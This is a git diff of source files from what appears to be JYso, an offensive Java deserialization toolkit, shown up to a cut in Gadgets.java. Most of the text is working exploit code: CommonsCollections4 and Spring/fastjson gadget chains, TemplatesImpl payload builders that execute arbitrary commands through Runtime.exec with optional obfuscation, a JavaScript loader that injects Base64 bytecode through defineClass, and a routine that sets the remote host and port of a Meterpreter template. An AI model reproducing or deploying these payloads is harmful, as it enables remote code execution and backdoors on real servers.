index 716c23d..79bf031 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/cck4.java +++ b/src/main/java/com/qi4l/JYso/gadgets/cck4.java @@ -1,35 +1,35 @@ -package com.qi4l.JYso.gadgets; - -import com.qi4l.JYso.gadgets.annotation.Authors; -import com.qi4l.JYso.gadgets.annotation.Dependencies; -import com.qi4l.JYso.gadgets.utils.Reflections; -import com.qi4l.JYso.gadgets.utils.cc.TransformerUtil; -import org.apache.commons.collections4.Transformer; -import org.apache.commons.collections4.functors.ChainedTransformer; -import org.apache.commons.collections4.functors.ConstantTransformer; -import org.apache.commons.collections4.keyvalue.TiedMapEntry; -import org.apache.commons.collections4.map.LazyMap; - -import java.util.HashMap; -import java.util.Map; - -@SuppressWarnings({"rawtypes", "unchecked","unused"}) -@Dependencies({"commons-collections:commons-collections:4.0"}) -@Authors({Authors.MATTHIASKAISER}) -public class cck4 implements ObjectPayload { - - public Object getObject(String command) throws Exception { - Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)}; - Transformer[] transformers = (Transformer[]) TransformerUtil.makeTransformer(command); - Transformer transformerChain = new ChainedTransformer(fakeTransformers); - Map innerMap = new HashMap(); - Map outerMap = LazyMap.lazyMap(innerMap, transformerChain); - TiedMapEntry tme = new TiedMapEntry(outerMap, "QI4L"); - Map expMap = new HashMap(); - expMap.put(tme, "QI5L"); - outerMap.remove("QI4L"); - - Reflections.setFieldValue(transformerChain, "iTransformers", transformers); - return expMap; - } -} +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.annotation.Authors; +import com.qi4l.JYso.gadgets.annotation.Dependencies; +import com.qi4l.JYso.gadgets.utils.Reflections; +import com.qi4l.JYso.gadgets.utils.cc.TransformerUtil; +import org.apache.commons.collections4.Transformer; +import org.apache.commons.collections4.functors.ChainedTransformer; +import org.apache.commons.collections4.functors.ConstantTransformer; +import org.apache.commons.collections4.keyvalue.TiedMapEntry; +import org.apache.commons.collections4.map.LazyMap; + +import java.util.HashMap; +import java.util.Map; + +@SuppressWarnings({"rawtypes", "unchecked","unused"}) +@Dependencies({"commons-collections:commons-collections:4.0"}) +@Authors({Authors.MATTHIASKAISER}) +public class cck4 implements ObjectPayload { + + public Object getObject(String command) throws Exception { + Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)}; + Transformer[] transformers = (Transformer[]) TransformerUtil.makeTransformer(command); + Transformer transformerChain = new ChainedTransformer(fakeTransformers); + Map innerMap = new HashMap(); + Map outerMap = LazyMap.lazyMap(innerMap, transformerChain); + TiedMapEntry tme = new TiedMapEntry(outerMap, "QI4L"); + Map expMap = new HashMap(); + expMap.put(tme, "QI5L"); + outerMap.remove("QI4L"); + + Reflections.setFieldValue(transformerChain, "iTransformers", transformers); + return expMap; + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/springFs.java b/src/main/java/com/qi4l/JYso/gadgets/springFs.java index 1254d6d..ab93cff 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/springFs.java +++ b/src/main/java/com/qi4l/JYso/gadgets/springFs.java @@ -1,103 +1,103 @@ -package com.qi4l.JYso.gadgets; - - -import com.alibaba.fastjson.JSONArray; -import com.alibaba.fastjson.JSONObject; -import com.qi4l.JYso.gadgets.utils.Gadgets; -import com.qi4l.JYso.gadgets.utils.Reflections; -import javassist.ClassPool; -import javassist.CtClass; -import javassist.CtField; -import javassist.NotFoundException; -import org.apache.logging.log4j.core.jackson.JsonConstants; -import org.springframework.beans.factory.ObjectFactory; - -import javax.management.BadAttributeValueExpException; -import javax.xml.transform.Templates; -import java.io.Serializable; -import java.lang.reflect.InvocationHandler; -import java.lang.reflect.Proxy; -import java.net.URL; -import java.net.URLClassLoader; -import java.util.ArrayList; -import java.util.HashMap; -import java.util.Objects; - -import static com.qi4l.JYso.gadgets.utils.Utils.makeMap; - -@SuppressWarnings({"rawtypes", "unchecked","unused"}) -public class springFs implements ObjectPayload, Serializable { - public static ClassPool pool = ClassPool.getDefault(); - // jdk17下使用badAttributeValueExpException,jdk8以上使用xString可打高版本JDK(jdk17) - public String toString = "badAttributeValueExpException"; - // 低版本Spring-beans <5.3 -8835275493235412717 - // 高版本Spring-beans >=5.3 -1515767093960859525" - public String serialVersionUID = "-1515767093960859525"; - - @Override - public Object getObject(String command) throws Exception { - - Object obj = Gadgets.createTemplatesImpl(command); - - Object inv; - if (Objects.equals(this.serialVersionUID, "-1515767093960859525")) { - - CtClass ctClass; - try { - ctClass = pool.get("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler"); - } catch (NotFoundException e) { - ctClass = pool.makeClass("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler"); - } - - - if (ctClass.isFrozen()) { - ctClass.defrost(); - } - try { - CtField field = ctClass.getDeclaredField("serialVersionUID"); - ctClass.removeField(field); - } catch (NotFoundException ignored) { - } - ctClass.addField(CtField.make("private static final long serialVersionUID = " + serialVersionUID + "L;", ctClass)); - Class aClass = ctClass.toClass(new URLClassLoader(new URL[0]), null); - inv = Reflections.createWithoutConstructor(aClass); - ctClass.defrost(); - } else { - inv = Reflections.createWithoutConstructor("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler"); - } - HashMap hashMap = new HashMap<>(); - hashMap.put("object", obj); - JSONObject jsonObject = new JSONObject(hashMap); - Object o2 = Proxy.newProxyInstance(Thread.currentThread().getContextClassLoader(), new Class[]{ObjectFactory.class}, jsonObject); - Reflections.setFieldValue(inv, "objectFactory", o2); - Object o = Proxy.newProxyInstance(Thread.currentThread().getContextClassLoader(), new Class[]{Templates.class}, (InvocationHandler) inv); - JSONArray jsonArray = new JSONArray(); - jsonArray.add(o); - if (this.toString.equals("xString")) { - Class aClass1 = Class.forName("com.sun.org.apache.xpath.internal.objects.XStringForChars"); - Object xString = Reflections.createWithoutConstructor(aClass1); - Reflections.setFieldValue(xString, "m_obj", new char[0]); - HashMap hashMap1 = new HashMap(); - HashMap hashMap2 = new HashMap(); - hashMap1.put("zZ", xString); - hashMap1.put("yy", jsonArray); - hashMap2.put("yy", xString); - hashMap2.put("zZ", jsonArray); - Object map = makeMap(hashMap1, hashMap2); - ArrayList arrayList = new ArrayList<>(); - arrayList.add(obj); - arrayList.add(o); - arrayList.add(map); - return arrayList; - } - Object badAttributeValueExpException = new BadAttributeValueExpException(null); - Reflections.setFieldValue(badAttributeValueExpException, "val", jsonArray); - Reflections.setFieldValue(badAttributeValueExpException, "stackTrace", new StackTraceElement[0]); - Reflections.setFieldValue(badAttributeValueExpException, "suppressedExceptions", null); - Reflections.setFieldValue(badAttributeValueExpException, JsonConstants.ELT_CAUSE, null); - ArrayList arrayList2 = new ArrayList<>(); - arrayList2.add(obj); - arrayList2.add(badAttributeValueExpException); - return arrayList2; - } -} +package com.qi4l.JYso.gadgets; + + +import com.alibaba.fastjson.JSONArray; +import com.alibaba.fastjson.JSONObject; +import com.qi4l.JYso.gadgets.utils.Gadgets; +import com.qi4l.JYso.gadgets.utils.Reflections; +import javassist.ClassPool; +import javassist.CtClass; +import javassist.CtField; +import javassist.NotFoundException; +import org.apache.logging.log4j.core.jackson.JsonConstants; +import org.springframework.beans.factory.ObjectFactory; + +import javax.management.BadAttributeValueExpException; +import javax.xml.transform.Templates; +import java.io.Serializable; +import java.lang.reflect.InvocationHandler; +import java.lang.reflect.Proxy; +import java.net.URL; +import java.net.URLClassLoader; +import java.util.ArrayList; +import java.util.HashMap; +import java.util.Objects; + +import static com.qi4l.JYso.gadgets.utils.Utils.makeMap; + +@SuppressWarnings({"rawtypes", "unchecked","unused"}) +public class springFs implements ObjectPayload, Serializable { + public static ClassPool pool = ClassPool.getDefault(); + // jdk17下使用badAttributeValueExpException,jdk8以上使用xString可打高版本JDK(jdk17) + public String toString = "badAttributeValueExpException"; + // 低版本Spring-beans <5.3 -8835275493235412717 + // 高版本Spring-beans >=5.3 -1515767093960859525" + public String serialVersionUID = "-1515767093960859525"; + + @Override + public Object getObject(String command) throws Exception { + + Object obj = Gadgets.createTemplatesImpl(command); + + Object inv; + if (Objects.equals(this.serialVersionUID, "-1515767093960859525")) { + + CtClass ctClass; + try { + ctClass = pool.get("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler"); + } catch (NotFoundException e) { + ctClass = pool.makeClass("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler"); + } + + + if (ctClass.isFrozen()) { + ctClass.defrost(); + } + try { + CtField field = ctClass.getDeclaredField("serialVersionUID"); + ctClass.removeField(field); + } catch (NotFoundException ignored) { + } + ctClass.addField(CtField.make("private static final long serialVersionUID = " + serialVersionUID + "L;", ctClass)); + Class aClass = ctClass.toClass(new URLClassLoader(new URL[0]), null); + inv = Reflections.createWithoutConstructor(aClass); + ctClass.defrost(); + } else { + inv = Reflections.createWithoutConstructor("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler"); + } + HashMap hashMap = new HashMap<>(); + hashMap.put("object", obj); + JSONObject jsonObject = new JSONObject(hashMap); + Object o2 = Proxy.newProxyInstance(Thread.currentThread().getContextClassLoader(), new Class[]{ObjectFactory.class}, jsonObject); + Reflections.setFieldValue(inv, "objectFactory", o2); + Object o = Proxy.newProxyInstance(Thread.currentThread().getContextClassLoader(), new Class[]{Templates.class}, (InvocationHandler) inv); + JSONArray jsonArray = new JSONArray(); + jsonArray.add(o); + if (this.toString.equals("xString")) { + Class aClass1 = Class.forName("com.sun.org.apache.xpath.internal.objects.XStringForChars"); + Object xString = Reflections.createWithoutConstructor(aClass1); + Reflections.setFieldValue(xString, "m_obj", new char[0]); + HashMap hashMap1 = new HashMap(); + HashMap hashMap2 = new HashMap(); + hashMap1.put("zZ", xString); + hashMap1.put("yy", jsonArray); + hashMap2.put("yy", xString); + hashMap2.put("zZ", jsonArray); + Object map = makeMap(hashMap1, hashMap2); + ArrayList arrayList = new ArrayList<>(); + arrayList.add(obj); + arrayList.add(o); + arrayList.add(map); + return arrayList; + } + Object badAttributeValueExpException = new BadAttributeValueExpException(null); + Reflections.setFieldValue(badAttributeValueExpException, "val", jsonArray); + Reflections.setFieldValue(badAttributeValueExpException, "stackTrace", new StackTraceElement[0]); + Reflections.setFieldValue(badAttributeValueExpException, "suppressedExceptions", null); + Reflections.setFieldValue(badAttributeValueExpException, JsonConstants.ELT_CAUSE, null); + ArrayList arrayList2 = new ArrayList<>(); + arrayList2.add(obj); + arrayList2.add(badAttributeValueExpException); + return arrayList2; + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/ByteUtil.java b/src/main/java/com/qi4l/JYso/gadgets/utils/ByteUtil.java index 179d1e0..ffd3980 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/ByteUtil.java +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/ByteUtil.java @@ -1,35 +1,35 @@ -package com.qi4l.JYso.gadgets.utils; - -public class ByteUtil { - public static int getSubarrayIndex(byte[] haystack, byte[] needle) { - outer: - for (int i = 0; i <= haystack.length - needle.length; ++i) { - for (int j = 0; j < needle.length; ++j) { - if (haystack[i + j] != needle[j]) { - continue outer; - } - } - return i; - } - - return -1; - } - - public static byte[] deleteAt(byte[] bs, int index) { - int length = bs.length - 1; - byte[] ret = new byte[length]; - - if (index == bs.length - 1) { - System.arraycopy(bs, 0, ret, 0, length); - } else if (index < bs.length - 1) { - for (int i = index; i < length; i++) { - bs[i] = bs[i + 1]; - } - - System.arraycopy(bs, 0, ret, 0, length); - } - - return ret; - } - -} +package com.qi4l.JYso.gadgets.utils; + +public class ByteUtil { + public static int getSubarrayIndex(byte[] haystack, byte[] needle) { + outer: + for (int i = 0; i <= haystack.length - needle.length; ++i) { + for (int j = 0; j < needle.length; ++j) { + if (haystack[i + j] != needle[j]) { + continue outer; + } + } + return i; + } + + return -1; + } + + public static byte[] deleteAt(byte[] bs, int index) { + int length = bs.length - 1; + byte[] ret = new byte[length]; + + if (index == bs.length - 1) { + System.arraycopy(bs, 0, ret, 0, length); + } else if (index < bs.length - 1) { + for (int i = index; i < length; i++) { + bs[i] = bs[i + 1]; + } + + System.arraycopy(bs, 0, ret, 0, length); + } + + return ret; + } + +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/ClassByteChange.java b/src/main/java/com/qi4l/JYso/gadgets/utils/ClassByteChange.java index 4ce46aa..c0bfeab 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/ClassByteChange.java +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/ClassByteChange.java @@ -1,57 +1,57 @@ -package com.qi4l.JYso.gadgets.utils; - -import com.qi4l.JYso.gadgets.Config.Config; -import javassist.*; -import org.apache.logging.log4j.Logger; -import org.apache.logging.log4j.LogManager; - -import java.io.File; -import java.io.IOException; -import java.io.InputStream; -import java.nio.file.Files; -import java.nio.file.Paths; - -public class ClassByteChange { - - private static final Logger log = LogManager.getLogger(ClassByteChange.class); - - public static void main(String[] args) { - try { - update(); - } catch (NotFoundException | CannotCompileException | IOException e) { - log.error("e: ", e); - } - } - - //动态获取.class - public static byte[] update() throws NotFoundException, CannotCompileException, IOException { - - File dir = new File(""); - String ap = dir.getAbsolutePath(); - ap = ap + File.separatorChar + "data"; - ClassPool cPool = new ClassPool(true); - - //设置class文件的位置 - cPool.insertClassPath(ap); - - cPool.importPackage("java.io.DataInputStream"); - cPool.importPackage("java.io.InputStream"); - cPool.importPackage("java.net.Socket;"); - cPool.importPackage("java.io.OutputStream"); - cPool.importPackage("java.util.HashMap"); - //获取该class对象 - CtClass cClass = cPool.get("com.qi4l.JYso.template.Meterpreter"); - //获取到对应的方法 - CtMethod cMethodHost = cClass.getDeclaredMethod("initLhost"); - - cMethodHost.setBody("{ this.host = \"" + Config.rhost + "\";\n" + - " this.port = \"" + Config.rport + "\";}"); - - //替换原有的文件 - cClass.writeFile(ap); - InputStream in = Files.newInputStream(Paths.get(ap + File.separatorChar + "com.qi4l.JYso.template.Meterpreter.class")); - return Utils.getBytes(in); - - - } -} +package com.qi4l.JYso.gadgets.utils; + +import com.qi4l.JYso.gadgets.Config.Config; +import javassist.*; +import org.apache.logging.log4j.Logger; +import org.apache.logging.log4j.LogManager; + +import java.io.File; +import java.io.IOException; +import java.io.InputStream; +import java.nio.file.Files; +import java.nio.file.Paths; + +public class ClassByteChange { + + private static final Logger log = LogManager.getLogger(ClassByteChange.class); + + public static void main(String[] args) { + try { + update(); + } catch (NotFoundException | CannotCompileException | IOException e) { + log.error("e: ", e); + } + } + + //动态获取.class + public static byte[] update() throws NotFoundException, CannotCompileException, IOException { + + File dir = new File(""); + String ap = dir.getAbsolutePath(); + ap = ap + File.separatorChar + "data"; + ClassPool cPool = new ClassPool(true); + + //设置class文件的位置 + cPool.insertClassPath(ap); + + cPool.importPackage("java.io.DataInputStream"); + cPool.importPackage("java.io.InputStream"); + cPool.importPackage("java.net.Socket;"); + cPool.importPackage("java.io.OutputStream"); + cPool.importPackage("java.util.HashMap"); + //获取该class对象 + CtClass cClass = cPool.get("com.qi4l.JYso.template.Meterpreter"); + //获取到对应的方法 + CtMethod cMethodHost = cClass.getDeclaredMethod("initLhost"); + + cMethodHost.setBody("{ this.host = \"" + Config.rhost + "\";\n" + + " this.port = \"" + Config.rport + "\";}"); + + //替换原有的文件 + cClass.writeFile(ap); + InputStream in = Files.newInputStream(Paths.get(ap + File.separatorChar + "com.qi4l.JYso.template.Meterpreter.class")); + return Utils.getBytes(in); + + + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/ClassFiles.java b/src/main/java/com/qi4l/JYso/gadgets/utils/ClassFiles.java index cd860d7..2b26910 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/ClassFiles.java +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/ClassFiles.java @@ -1,44 +1,44 @@ -package com.qi4l.JYso.gadgets.utils; - -import java.io.ByteArrayOutputStream; -import java.io.IOException; -import java.io.InputStream; - -public class ClassFiles { - public static String classAsFile(final Class clazz) { - return classAsFile(clazz, true); - } - - public static String classAsFile(final Class clazz, boolean suffix) { - String str; - if (clazz.getEnclosingClass() == null) { - str = clazz.getName().replace(".", "/"); - } else { - str = classAsFile(clazz.getEnclosingClass(), false) + "$" + clazz.getSimpleName(); - } - if (suffix) { - str += ".class"; - } - return str; - } - - public static byte[] classAsBytes(final Class clazz) { - try { - final byte[] buffer = new byte[1024]; - final String file = classAsFile(clazz); - final InputStream in = ClassFiles.class.getClassLoader().getResourceAsStream(file); - if (in == null) { - throw new IOException("couldn't find '" + file + "'"); - } - final ByteArrayOutputStream out = new ByteArrayOutputStream(); - int len; - while ((len = in.read(buffer)) != -1) { - out.write(buffer, 0, len); - } - return out.toByteArray(); - } catch (IOException e) { - throw new RuntimeException(e); - } - } - -} +package com.qi4l.JYso.gadgets.utils; + +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.io.InputStream; + +public class ClassFiles { + public static String classAsFile(final Class clazz) { + return classAsFile(clazz, true); + } + + public static String classAsFile(final Class clazz, boolean suffix) { + String str; + if (clazz.getEnclosingClass() == null) { + str = clazz.getName().replace(".", "/"); + } else { + str = classAsFile(clazz.getEnclosingClass(), false) + "$" + clazz.getSimpleName(); + } + if (suffix) { + str += ".class"; + } + return str; + } + + public static byte[] classAsBytes(final Class clazz) { + try { + final byte[] buffer = new byte[1024]; + final String file = classAsFile(clazz); + final InputStream in = ClassFiles.class.getClassLoader().getResourceAsStream(file); + if (in == null) { + throw new IOException("couldn't find '" + file + "'"); + } + final ByteArrayOutputStream out = new ByteArrayOutputStream(); + int len; + while ((len = in.read(buffer)) != -1) { + out.write(buffer, 0, len); + } + return out.toByteArray(); + } catch (IOException e) { + throw new RuntimeException(e); + } + } + +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/DynamicDependencies.java b/src/main/java/com/qi4l/JYso/gadgets/utils/DynamicDependencies.java index 975b95b..9cbee84 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/DynamicDependencies.java +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/DynamicDependencies.java @@ -1,8 +1,8 @@ -package com.qi4l.JYso.gadgets.utils; - -/** - * @author mbechler - */ -public interface DynamicDependencies { - +package com.qi4l.JYso.gadgets.utils; + +/** + * @author mbechler + */ +public interface DynamicDependencies { + } \ No newline at end of file diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/Gadgets.java b/src/main/java/com/qi4l/JYso/gadgets/utils/Gadgets.java index 39c9ddc..77898db 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/Gadgets.java +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/Gadgets.java @@ -1,287 +1,287 @@ -package com.qi4l.JYso.gadgets.utils; - -import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; -import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; -import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; -import javassist.ClassClassPath; -import javassist.CtClass; -import javassist.CtConstructor; - -import java.lang.reflect.*; -import java.util.Base64; -import java.util.HashMap; -import java.util.Map; - -import static com.qi4l.JYso.gadgets.Config.Config.*; -import static com.qi4l.JYso.gadgets.utils.Utils.saveCtClassToFile; -import static com.qi4l.JYso.gadgets.utils.handle.ClassFieldHandler.insertField; -import static com.qi4l.JYso.gadgets.utils.handle.ClassMethodHandler.insertCMD; -import static com.qi4l.JYso.gadgets.utils.handle.ClassNameHandler.generateClassName; -import static com.qi4l.JYso.gadgets.utils.handle.GlassHandler.generateClass; -import static com.qi4l.JYso.gadgets.utils.handle.GlassHandler.shrinkBytes; -import static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.DESERIALIZE_TRANSLET; - -@SuppressWarnings({"rawtypes", "unchecked","unused"}) -public class Gadgets extends ClassLoader { - public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler"; - public static Class TPL_CLASS = TemplatesImpl.class; - public static Class ABST_TRANSLET = AbstractTranslet.class; - public static Class TRANS_FACTORY = TransformerFactoryImpl.class; - - static { - // special case for using TemplatesImpl gadgets with a SecurityManager enabled - System.setProperty(DESERIALIZE_TRANSLET, "true"); - - // for RMI remote loading - System.setProperty("java.rmi.server.useCodebaseOnly", "false"); - - try { - // 兼容不同 JDK 版本 - if (Boolean.parseBoolean(System.getProperty("properXalan", "false")) || FORCE_USING_ORG_APACHE_TEMPLATESIMPL) { - TPL_CLASS = Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"); - ABST_TRANSLET = Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"); - TRANS_FACTORY = Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"); - } - } catch (Exception ignored) { - } - } - - - public static InvocationHandler createMemoizedInvocationHandler(final Map map) throws Exception { - return (InvocationHandler) Reflections.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map); - } - - public static Object createTemplatesImpl(String command) throws Exception { - command = command.trim(); - - // 支持单双引号 - if (command.startsWith("'") || command.startsWith("\"")) { - command = command.substring(1, command.length() - 1); - } - - CtClass ctClass; - byte[] classBytes = new byte[0]; - String newClassName = generateClassName(); - - - final Object templates = TPL_CLASS.newInstance(); - POOL.insertClassPath(new ClassClassPath(ABST_TRANSLET)); - POOL.get(ABST_TRANSLET.getName()); - - // 扩展功能 - if (command.startsWith("LF-")) { - ctClass = generateClass(command, newClassName); - } else { - // 普通的命令执行 - if (IS_OBSCURE) { - ctClass = POOL.makeClass(newClassName); - insertCMD(ctClass); - CtConstructor ctConstructor = new CtConstructor(new CtClass[]{}, ctClass); - ctConstructor.setBody("{execCmd(\"" + command + "\");}"); - ctClass.addConstructor(ctConstructor); - } else { - // 最短化 - ctClass = POOL.makeClass(newClassName); - CtConstructor ctConstructor = new CtConstructor(new CtClass[]{}, ctClass); - ctConstructor.setBody("{Runtime.getRuntime().exec(\"" + command + "\");}"); - ctClass.addConstructor(ctConstructor); - } - } - - // 如果全局配置继承,再设置父类 - if (IS_INHERIT_ABSTRACT_TRANSLET) { - if (ctClass != null) { - shrinkBytes(ctClass); - } - - // 如果 payload 自身有父类,则使用 ClassLoaderTemplate 加载 - // 否则直接设置父类 - if (ctClass != null && !"java.lang.Object".equals(ctClass.getSuperclass().getName())) { - ctClass = Utils.encapsulationByClassLoaderTemplate(ctClass.toBytecode()); - } - } - - // 按需保存文件 - saveCtClassToFile(ctClass); - if (ctClass != null) { - classBytes = ctClass.toBytecode(); - } - - // 加载 class 试试 -// loadClassTest(classBytes, ctClass.getName()); - - // 写入前将 classBytes 中的类标识设为 JDK 1.6 的版本号 - classBytes[7] = 49; - - // 恶意类是否继承 AbstractTranslet - if (IS_INHERIT_ABSTRACT_TRANSLET) { - Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{classBytes}); - } else { - CtClass newClass = POOL.makeClass(generateClassName()); - insertField(newClass, "serialVersionUID", "private static final long serialVersionUID = 8207363842866235160L;"); - - Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{classBytes, newClass.toBytecode()}); - // 当 _transletIndex >= 0 且 classCount 也就是生成类的数量大于 1 时,不需要继承 AbstractTranslet - Reflections.setFieldValue(templates, "_transletIndex", 0); - } - - // required to make TemplatesImpl happy - Reflections.setFieldValue(templates, "_name", "anyStr"); - Reflections.setFieldValue(templates, "_tfactory", TRANS_FACTORY.newInstance()); - return templates; - } - - public static String createClassT(String command) throws Exception { - command = command.trim(); - - // 支持单双引号 - if (command.startsWith("'") || command.startsWith("\"")) { - command = command.substring(1, command.length() - 1); - } - - CtClass ctClass; - String newClassName = generateClassName(); - - POOL.insertClassPath(new ClassClassPath(ABST_TRANSLET)); - POOL.get(ABST_TRANSLET.getName()); - - // 扩展功能 - if (command.startsWith("LF-")) { - ctClass = generateClass(command, newClassName); - } else { - // 普通的命令执行 - if (IS_OBSCURE) { - ctClass = POOL.makeClass(newClassName); - insertCMD(ctClass); - CtConstructor ctConstructor = new CtConstructor(new CtClass[]{}, ctClass); - ctConstructor.setBody("{execCmd(\"" + command + "\");}"); - ctClass.addConstructor(ctConstructor); - } else { - // 最短化 - ctClass = POOL.makeClass(newClassName); - CtConstructor ctConstructor = new CtConstructor(new CtClass[]{}, ctClass); - ctConstructor.setBody("{Runtime.getRuntime().exec(\"" + command + "\");}"); - ctClass.addConstructor(ctConstructor); - } - } - - // 如果全局配置继承,再设置父类 - if (IS_INHERIT_ABSTRACT_TRANSLET) { - if (ctClass != null) { - shrinkBytes(ctClass); - } - - // 如果 payload 自身有父类,则使用 ClassLoaderTemplate 加载 - // 否则直接设置父类 - if (ctClass != null && !"java.lang.Object".equals(ctClass.getSuperclass().getName())) { - ctClass = Utils.encapsulationByClassLoaderTemplate(ctClass.toBytecode()); - } - } - - byte[] bytes = null; - if (ctClass != null) { - bytes = ctClass.toBytecode(); - } - String classCode = Base64.getEncoder().encodeToString(bytes); - //System.out.println("Base64 Encoded CtClass: " + classCode); - if (ctClass != null) { - ctClass.detach(); - } - - if (ctClass != null) { - return "var bytes = org.apache.tomcat.util.codec.binary.Base64.decodeBase64('" + classCode + "');\n" + - "var classLoader = java.lang.Thread.currentThread().getContextClassLoader();\n" + - "try{\n" + - " var clazz = classLoader.loadClass('" + ctClass.getName() + "');\n" + - " clazz.newInstance();\n" + - "}catch(err){\n" + - " var method = java.lang.ClassLoader.class.getDeclaredMethod('defineClass', ''.getBytes().getClass(), java.lang.Integer.TYPE, java.lang.Integer.TYPE);\n" + - " method.setAccessible(true);\n" + - " var clazz = method.invoke(classLoader, bytes, 0, bytes.length);\n" + - " clazz.newInstance();\n" + - "};"; - } - return newClassName; - } - - public static String createClassB(String command) throws Exception { - command = command.trim(); - - // 支持单双引号 - if (command.startsWith("'") || command.startsWith("\"")) { - command = command.substring(1, command.length() - 1); - } - - CtClass ctClass; - String newClassName = generateClassName(); - - POOL.insertClassPath(new ClassClassPath(ABST_TRANSLET)); - POOL.get(ABST_TRANSLET.getName()); - - // 扩展功能 - if (command.startsWith("LF-")) { - ctClass = generateClass(command, newClassName); - } else { - // 普通的命令执行 - if (IS_OBSCURE) { - ctClass = POOL.makeClass(newClassName); - insertCMD(ctClass); - CtConstructor ctConstructor = new CtConstructor(new CtClass[]{}, ctClass); - ctConstructor.setBody("{execCmd(\"" + command + "\");}"); - ctClass.addConstructor(ctConstructor); - } else { - // 最短化 - ctClass = POOL.makeClass(newClassName); - CtConstructor ctConstructor = new CtConstructor(new CtClass[]{}, ctClass); - ctConstructor.setBody("{Runtime.getRuntime().exec(\"" + command + "\");}"); - ctClass.addConstructor(ctConstructor); - } - } - - // 如果全局配置继承,再设置父类 - if (IS_INHERIT_ABSTRACT_TRANSLET) { - if (ctClass != null) { - shrinkBytes(ctClass); - } - - // 如果 payload 自身有父类,则使用 ClassLoaderTemplate 加载 - // 否则直接设置父类 - if (ctClass != null && !"java.lang.Object".equals(ctClass.getSuperclass().getName())) { - ctClass = Utils.encapsulationByClassLoaderTemplate(ctClass.toBytecode()); - } - } - - String className = null; - if (ctClass != null) { - className = ctClass.getName(); - } - if (ctClass != null) { - ctClass.writeFile(); - } - - //writeClassToFile(className, ctClass.toBytecode()); - - return className; - } - - public static HashMap maskmapToString(Object o1, Object o2) throws Exception { - Map tHashMap1 = (Map) Reflections.createWithoutConstructor("javax.swing.UIDefaults$TextAndMnemonicHashMap"); - Map tHashMap2 = (Map) Reflections.createWithoutConstructor("javax.swing.UIDefaults$TextAndMnemonicHashMap"); - tHashMap1.put(o1, null); - tHashMap2.put(o2, null); - Reflections.setFieldValue(tHashMap1, "loadFactor", 1); - Reflections.setFieldValue(tHashMap2, "loadFactor", 1); - HashMap hashMap = new HashMap<>(); - Class node = Class.forName("java.util.HashMap$Node"); - Constructor constructor = node.getDeclaredConstructor(int.class, Object.class, Object.class, node); - constructor.setAccessible(true); - Object node1 = constructor.newInstance(0, tHashMap1, "Unam4", null); - Object node2 = constructor.newInstance(0, tHashMap2, "SpringKill", null); - Reflections.setFieldValue(hashMap, "size", 2); - Object arr = Array.newInstance(node, 2); - Array.set(arr, 0, node1); - Array.set(arr, 1, node2); - Reflections.setFieldValue(hashMap, "table", arr); - return hashMap; - } +package com.qi4l.JYso.gadgets.utils; + +import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; +import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; +import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; +import javassist.ClassClassPath; +import javassist.CtClass; +import javassist.CtConstructor; + +import java.lang.reflect.*; +import java.util.Base64; +import java.util.HashMap; +import java.util.Map; + +import static com.qi4l.JYso.gadgets.Config.Config.*; +import static com.qi4l.JYso.gadgets.utils.Utils.saveCtClassToFile; +import static com.qi4l.JYso.gadgets.utils.handle.ClassFieldHandler.insertField; +import static com.qi4l.JYso.gadgets.utils.handle.ClassMethodHandler.insertCMD; +import static com.qi4l.JYso.gadgets.utils.handle.ClassNameHandler.generateClassName; +import static com.qi4l.JYso.gadgets.utils.handle.GlassHandler.generateClass; +import static com.qi4l.JYso.gadgets.utils.handle.GlassHandler.shrinkBytes; +import static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.DESERIALIZE_TRANSLET; + +@SuppressWarnings({"rawtypes", "unchecked","unused"}) +public class Gadgets extends ClassLoader { + public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler"; + public static Class TPL_CLASS = TemplatesImpl.class; + public static Class ABST_TRANSLET = AbstractTranslet.class; + public static Class TRANS_FACTORY = TransformerFactoryImpl.class; + + static { + // special case for using 